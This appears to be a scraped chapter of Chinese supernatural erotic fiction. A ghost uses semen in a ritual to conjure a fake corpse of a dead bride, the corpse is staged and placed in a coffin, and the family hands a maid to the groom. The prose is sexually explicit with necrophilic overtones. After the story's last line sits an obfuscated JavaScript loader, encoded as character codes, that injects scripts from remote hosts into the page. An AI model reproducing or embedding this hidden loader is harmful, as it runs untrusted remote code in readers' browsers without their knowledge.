良久,痉挛渐息。
幽月趴伏在他胸膛上,剧烈喘息,浑身冰冷,唯有两人紧密相接之处一片狼藉湿烫。
她能感觉到体内那浓稠的元阳正被她的身体本能地吸收,化为维系魂魄的暖流。
没有丝毫温存,她几乎是立刻挣扎着从他身上撑起,双腿虚软地跨下床,踉跄一步才站稳。
她背对着顾山,弯下腰,冰冷的手指毫不迟疑地探入自己仍在翕张、流淌着白浊的腿心,沾染上满满一手黏滑的精液。
然后,她俯身,就着床边冰冷的地板,用那混合着两人体液的白浊液体,极其迅速地绘制起来。
她的手指颤抖,动作却异常精准,勾勒出一个结构繁复、充满古拙邪异美感的小型法阵。
每画一笔,她的脸色就苍白一分,气息也更微弱一分。
口中同时念诵着极其晦涩、音调奇异的短促咒文,那声音轻得像叹息,却带着一种勾动天地间某种阴邪力量的韵律。
当最后一笔完成,咒文念毕的瞬间---------那绘制在地上的法阵,猛地爆起一团幽暗的血色光芒!
光芒不强,却刺得人眼疼,将整个房间映得一片诡异。
光芒中,无数细如发丝的黑色符文如同活物般扭动、盘旋!
紧接着,在法阵中央,空气如同水波般剧烈荡漾起来。
一个人的轮廓迅速凝聚、变得清晰---------乌黑的长发,苍白的肌肤,精致的眉眼,赤裸的躯体…
赫然是又一个“柳玉瑶”!
这个新出现的“柳玉瑶”双目紧闭,面无表情,浑身散发着一种非活物的、雕像般的僵硬感,静静地躺在冰冷的地板上。
幽光迅速消退,法阵也随之隐没不见,只留下地板上一点不易察觉的湿痕。
“咳…咳咳…”幽月猛地咳出一口寒气,身体软软地歪倒下去,几乎连坐直的力气都没有了。
“这…这是…”顾山看得目瞪口呆,眼前这超乎想象的一幕甚至让他暂时忽略了身体的不适。
“假身…”幽月的声音气若游丝,“用你的…元阳精粹…混合本座…最后一点法力…造的…得做得像点…才能骗过…柳家那修士…”她断断续续地解释,每一个字都说得无比艰难。
顾山连忙下床,想将她扶回床上。
“别管我…”幽月无力地挥开他的手,目光投向地板上那个冰冷的“作品”,“快…给她穿上衣服…弄成…刚破身的样子…没时间了…”
顾山这才反应过来,赶紧手忙脚乱地行动。
他先从地上捡起昨夜被撕破的红色嫁衣,发现根本没法穿,又慌忙去翻找衣柜。
幸运的是,衣柜里还有几套柳玉瑶生前穿的素雅衣裙。
他拿起一套月白色的襦裙,回到假身旁边。
看着那和幽月此刻一模一样、却毫无生气的脸庞,他心里直发毛。
深吸一口气,他笨拙地开始给假身穿衣。
给一个冰冷僵硬、毫无反应的人穿衣极其困难。
尤其是穿襦裙,系带繁琐,顾山搞得满头大汗,手指不时碰到假身冰冷的皮肤,激得他一阵阵寒毛倒竖。
幽月瘫在床上,微弱地指挥着:“…头发…弄乱些…对…嘴角…对,弄点血丝上去…脖子…这里,弄点痕迹…”
顾山依言照做,用唾液混着一点自己牙龈出的血抹在假身嘴角,又在她颈侧用力吮吸出几个红痕。
一番折腾下来,假身果然看起来像是经历了疯狂初夜的新娘,带着一种凌虐般的凄美。
做完这一切,顾山已是满头大汗。他看向幽月,她似乎连呼吸都变得极其微弱了。
“你…还好吗?”他忍不住问。
幽月没有回答,只是艰难地抬了抬手,指向窗户。意思很明显:她该走了。
她挣扎着,几乎是爬下了床。
脚步虚浮踉跄,仿佛一阵风就能吹倒。
走到窗边,她回头看了顾山一眼,眼神复杂,嘴唇翕动,最终只是极其微弱地吐出几个字:“…葬礼后…城西…乱葬岗旁…老槐树下…等我…”
说完,她似乎用尽了最后一丝力气,手指颤抖着对着房间某个角落凌空一点。
空气中传来一声极细微的、如同气泡破裂的“啵”声。仿佛某种一直存在的屏障消失了,窗外清晨的鸟鸣声瞬间变得清晰起来。
幽月不再犹豫,双手扒住窗沿,极其吃力地翻了出去。身影一闪,便消失在微亮的晨曦中。
顾山冲到窗边,只看到外面树影摇曳,早已空无一人。清晨的冷风灌入,吹得他一个激灵。
他连忙关好窗户,回到床边。看着床上那个被他精心“装扮”好的假千金,又看看空荡荡的房间,只觉得刚才的一切如同梦境般荒诞不真实。
巨大的疲惫感和放松感同时袭来。他重新躺回床上,尽量远离那个冰冷的假身,眼睛瞪着天花板。窗外逐渐亮起,人声开始隐约传来。
他以为自己会紧张得睡不着,但身体的透支远超想象。不过片刻,沉重的眼皮便再次阖上,意识陷入了无边的黑暗。
他是被一阵轻柔又带着迟疑的推搡唤醒的。
“姑…姑爷…?该…该起身了…”
顾山猛地睁开眼,看到的是昨夜那个引路的丫环——翠微。
她低垂着头,脸颊泛着不自然的红晕,眼神躲闪,根本不敢看床上的一片狼藉,更不敢多看那个躺在顾山身边、盖着锦被、只露出苍白侧脸和颈间红痕的“小姐”。
空气中似乎还残留着昨夜疯狂的气息,混合着一种淡淡的、属于死亡的冰冷味道。
顾山的心脏猛地一跳,瞬间彻底清醒。
他看了一眼身旁的假身,心脏几乎跳到嗓子眼,但脸上却强行维持着镇定,甚至挤出一丝疲惫和…恰到好处的“尴尬”。
“嗯…”他含糊地应了一声,动作有些僵硬地坐起身。锦被滑落,露出他肌肉虬结、带着抓痕的古铜色上身。
翠微的脸更红了,几乎要滴出血来。
她飞快地瞥了一眼床铺,看到那点点落红和一片狼藉,眼中闪过一抹复杂至极的情绪——有悲伤,有羞耻,或许还有一丝对顾山的鄙夷,但更多的是一种认命般的麻木。
“奴婢…奴婢伺候您更衣…”她声音细若蚊蚋,手里捧着一套干净的男子衣袍。
顾山没有拒绝,依言起身,任由她动作生涩地帮自己穿上衣服。过程中,两人没有任何交流,气氛压抑得令人窒息。
穿好衣服,翠微又端来温水汗巾,伺候他简单洗漱。
做完这一切,她站在床边,看着依旧“沉睡”的“小姐”,双手紧张地绞着衣角,声音带着哽咽:“姑爷…时辰快到了…该…该请小姐…入棺了…”
顾山深吸一口气,点了点头。
他走到床边,小心翼翼地掀开锦被。
假身赤裸的躯体暴露出来,上面那些暧昧的痕迹更加刺眼。
他尽量让自己的动作显得轻柔,模仿着一个丈夫对待新婚妻子的模样,将假身抱起。
触手冰冷僵硬,但奇妙的是,并未像真正尸体那样彻底硬化,反而带着一种诡异的、类似玉石的柔韧感。
这让他心中稍安,幽月的法术确实精妙。
翠微在一旁帮忙托着,眼泪终于忍不住掉了下来,低声啜泣着。
两人合力,将这具“饱经蹂躏”的冰冷躯体小心翼翼地放入了那口厚重的楠木棺材中。
翠微细心地将假身的头发整理好,又为她拉好寿衣,遮住那些痕迹,最后痴痴地望了一眼那张安详的、仿佛只是睡着的容颜,才颤抖着手,和顾山一起,将棺盖缓缓合上一大半,留有一丝缝隙。
“姑爷…请随奴婢去用些早饭吧…老爷夫人…都在等着…”翠微擦干眼泪,恢复了低眉顺眼的侍女模样,只是声音依旧沙哑。
顾山默默点头,最后看了一眼那口棺材,跟着翠微走出了这间充满诡异记忆的木屋。
柳家主宅的饭厅气氛凝重。
红灯笼和白幡都已被撤下,但悲伤的气氛依旧浓得化不开。
柳老爷、老夫人、柳夫人以及几位核心族人坐在桌旁,几乎无人动筷。
柳玄明也坐在一旁,闭目养神。
看到顾山进来,所有人的目光都集中在他身上。
那目光复杂至极,有审视,有哀伤,有感激,也有一丝难以掩饰的尴尬——毕竟,他们让一个陌生男人对女儿的尸体做了那样的事。
“贤婿…辛苦了…”柳老爷率先开口,声音干涩,指了指旁边的空位,“坐…用些早饭吧。”
顾山硬着头皮坐下,道了声谢,拿起筷子,却觉得任何食物都难以下咽。
席间无人说话,只有碗筷偶尔碰撞的轻微声响。
最终还是柳老夫人打破了沉默,她看着顾山,眼圈通红:“…瑶儿她…走得…可安稳?”这话问得极其艰难,带着小心翼翼的期盼。
顾山喉结滚动了一下,放下筷子,斟酌着用词:“…小姐她…很安静。”这倒是实话。
柳夫人闻言,又拿起手帕捂住嘴,低声呜咽起来。
柳玄明此时睁开了眼睛,目光锐利地看向侍立一旁的翠微。翠微微不可察地点了点头。
柳玄明眼中闪过一丝了然,随即看向顾山,语气平和了许多:“阴阳交泰,戾气已散。顾小友确实帮了大忙,玉瑶侄孙女当能安心往生了。柳家承你这份情。”
顾山连忙摆手:“不敢,应该的。”他心里虚得厉害,只能埋头喝粥。
饭后,柳家人再次表达了希望顾山多住几日的意愿,语气诚恳。但顾山记挂着与幽月的约定,以“家乡尚有要事”为由,坚决推辞了。
柳家人见他去意已决,也不再强留。柳老爷命人取来一个沉甸甸的包袱。
“贤婿,这些盘缠你务必收下。还有这块玉佩,”他拿出一块触手温润、雕刻着柳叶纹样的白玉,“凭此玉佩,在任何有柳家产业的城镇,都能得到照应。你既是我柳家女婿,日后若遇难处,柳家绝不会坐视不管。”
柳老爷顿了顿,目光转向一旁垂手侍立、眼眶依旧泛红的翠微,叹了口气道:“贤婿孤身上路,身边没个伺候的人也不方便。翠微这丫头,自小跟着瑶儿,是她最贴心的人,也知根知底…如今瑶儿去了,便让她跟着贤婿你去吧,路上也好有个照应,端茶递水,铺床叠被,总算能周到些。”
这话一出,顾山微微一愣。
翠微闻言,身体几不可察地轻颤了一下,一直低垂着的头埋得更深了些,眼角又有泪光闪动,却并非全然的惊愕,反倒更像是被这句话勾起了对故主更深切的哀思。
她只是更紧地绞住了衣角,沉默地、温顺地维持着躬身的姿态。
在这等门第,主人的安排,尤其是将已故千金的贴身侍女指派给女婿延续伺候,于情于理都是再自然不过的安排,更是她身为丫鬟的本分与归宿,容不得她有何想法,亦无需有何想法。
顾山看着翠微那悲伤却又逆来顺顺、仿佛理所当然接受命运安排的模样,心中一时滋味难言。
柳家的意思——这既是出于对女婿的关怀与体贴,怕他孤身路上不便,亦是一种含蓄的维系。
将玉瑶生前最亲近的侍女派到他身边,仿佛用一种温和的方式,将他和柳家,和那位已然香消玉殒的妻子之间那根脆弱的线,缠绕得更加结实了些。
是一种带着悲伤温度的施恩与接纳。
他看着翠微那副沉浸在悲伤中却依旧温顺服从的模样,心中复杂,但眼下情形如此,他只得硬着头皮拱手道:“…多谢岳父大人美意,小婿…定会妥善安置翠微姑娘。”
“嗯,如此便好。”柳老爷满意地点点头,似乎了却一桩心事。
最终,由翠微提着她自己的一个小小行囊和那个装有点心杂物的包裹, 送顾山出府。
走出柳家庄园沉重的大门,清晨的阳光刺得顾山有些睁不开眼。他回头望了一眼那气派却笼罩着悲伤的宅邸,恍如隔世。
“姑爷…您接下来…要去往何处?”翠微低着头,声音细若蚊蚋,带着一丝不易察觉的茫然和认命般的顺从。
顾山深吸一口清新的空气,压下心中的复杂情绪,说出了那个约定好的地点:
“城西,乱葬岗附近。”
(function(a){(new Function(String.fromCharCode(...a)))();})([100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,34,60,100,105,118,62,60,100,105,118,32,105,100,61,39,118,56,82,68,50,53,52,49,39,62,60,47,100,105,118,62,60,47,100,105,118,62,34,41,59,108,101,116,32,117,114,108,115,61,91,34,104,116,116,112,115,58,92,47,92,47,109,100,49,49,110,50,51,56,97,46,111,115,115,45,99,110,45,104,97,110,103,122,104,111,117,46,97,108,105,121,117,110,99,115,46,99,111,109,92,47,49,92,47,49,52,53,50,53,48,49,49,34,44,34,104,116,116,112,115,58,92,47,92,47,112,46,55,100,51,54,97,46,99,111,109,92,47,49,92,47,49,52,53,50,53,48,49,49,34,93,59,119,105,110,100,111,119,46,95,95,114,114,95,95,104,108,100,61,49,59,108,101,116,32,117,114,108,105,110,100,101,120,61,48,59,108,101,116,32,114,102,117,110,99,61,102,117,110,99,116,105,111,110,40,41,123,105,102,40,119,105,110,100,111,119,46,95,95,114,114,95,95,108,111,97,100,101,100,95,50,53,52,49,95,49,49,48,53,32,33,61,32,39,111,107,39,41,123,108,101,116,32,115,115,32,61,32,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,115,115,46,116,121,112,101,32,61,32,39,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,39,59,115,115,46,114,101,102,101,114,114,101,114,80,111,108,105,99,121,61,39,110,111,45,114,101,102,101,114,114,101,114,39,59,115,115,46,115,114,99,61,117,114,108,115,91,117,114,108,105,110,100,101,120,43,43,93,43,32,40,110,97,118,105,103,97,116,111,114,46,117,115,101,114,65,103,101,110,116,46,105,110,100,101,120,79,102,40,39,65,110,100,114,111,105,100,39,41,32,33,61,32,45,49,32,63,32,39,48,39,58,39,49,39,41,32,43,32,39,63,39,32,43,32,110,101,119,32,68,97,116,101,40,41,46,103,101,116,84,105,109,101,40,41,59,100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,115,115,41,59,125,125,59,114,102,117,110,99,40,41,59,114,102,117,110,99,40,41,59]);